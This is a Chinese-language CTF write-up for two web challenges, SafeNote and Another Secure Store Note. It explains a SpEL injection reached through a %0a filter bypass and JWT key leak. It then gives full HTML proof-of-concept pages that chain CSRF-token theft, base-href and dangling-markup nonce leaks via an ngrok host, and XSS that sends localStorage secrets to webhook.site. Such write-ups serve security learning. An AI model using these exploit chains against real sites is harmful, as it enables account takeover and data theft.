SafeNote
查看路由,发现在admin的controller下存在/feature
路由可以执行spel
表达式
那么问题来到怎么去获得admin的权限,在spel路由的上面有一个
如果从请求头中获得的Authorization
解码后不为USER
即可返回JWT key
,尝试删除Authorization
,访问,但是被filter给拦住,查看config,有如下匹配
符合路径的会在请求到达路由前检查请求头。所以我们需要绕过这个正则,使用%0a可以截断绕过
然后利用这key去签名即可
Another Secure Store Note
查看附件发现flag
放在bot
的localStorage
中,然后登录后的用户名中存在XSS
,但是被CSP限制了
我们需要有nonce
才能执行XSS,因为nonce
是随机生成的,然后访问/profile
时会访问/csp.gif
刷新nonce
,为防止nonce
刷新,第一个想到的是去修改它的base uri
,又因为base-uri
是 self
,所以使用base
设置随意的路径来阻断
<base href='https://35.200.57.143:11004/a/'>
然后查看前端,为了执行getSettings.js
,使用如下一条语句
我们需要的nonce
明文储存在前端,尝试使用Dangling Markup来外带代码,但是更改用户名需要_csrf
,所以我们需要最后一步偷到_csrf
来串起来。在getSettings.js
文件中会为前端填入csrf
,所以我们只要执行getSettings.js
便能得到对应的_csrf
然后直接发送给/porfile
即可改名
因为Worker 线程所在的全局对象,与主线程不一样,无法读取主线程所在网页的 DOM 对象,也无法使用
document
、window
、parent
这些对象。
所以在isInWindowContext()
中,该函数的实现方式依赖于 self
在当前执行环境中指向的对象与全局作用域中的 self
对象不同这一事实,因此可以通过改变 self
的值来判断当前执行环境是否为浏览器窗口上下文。断绝了使用web worker的使用。这里huli师傅用的Object.defineProperty
去直接覆盖document.domain
的值,得改名的poc:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script>
Object.defineProperty(document, 'domain', {
value: '35.200.57.143'
})
</script>
<input id="_csrf" />
<script src="https://35.200.57.143:11004/getSettings.js"></script>
<form id=f method=POST action="https://35.200.57.143:11004/profile" target="_blank">
<input name="name" value="poc">
<input name="csrf" value="">
</form>
<script>
const csrf = _csrf.value
f.csrf.value = csrf
f.submit()
</script>
</body>
</html>
然后构造脚本使其在一个请求中完成
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script>
Object.defineProperty(document, 'domain', {
value: '35.200.57.143'
})
</script>
<input id="_csrf" />
<script src="https://35.200.57.143:11004/getSettings.js"></script>
<form id=f method=POST action="https://35.200.57.143:11004/profile" target="_blank">
<input name="name" value="">
<input name="csrf" value="">
</form>
<script>
const csrf = _csrf.value
f.csrf.value = csrf
f.name.value = "<base href='https://35.200.57.143:11004/a/'><meta http-equiv=\"refresh\" content='0; url=https://27be-182-150-123-102.ap.ngrok.io/?a="
setTimeout(() => {
f.submit()
}, 400)
function poll() {
fetch('https://27be-182-150-123-102.ap.ngrok.io/nonce')
.then(res => res.text())
.then(nonce => {
if (!nonce) {
return setTimeout(poll, 100)
}
f.name.value = `<script nonce=${nonce}>
location = 'https://webhook.site/52303597-727c-4c31-adc8-81721b8974a2?flag='+localStorage.getItem('secret')<\/script>`
f.submit()
})
}
poll()
</script>
</body>
</html>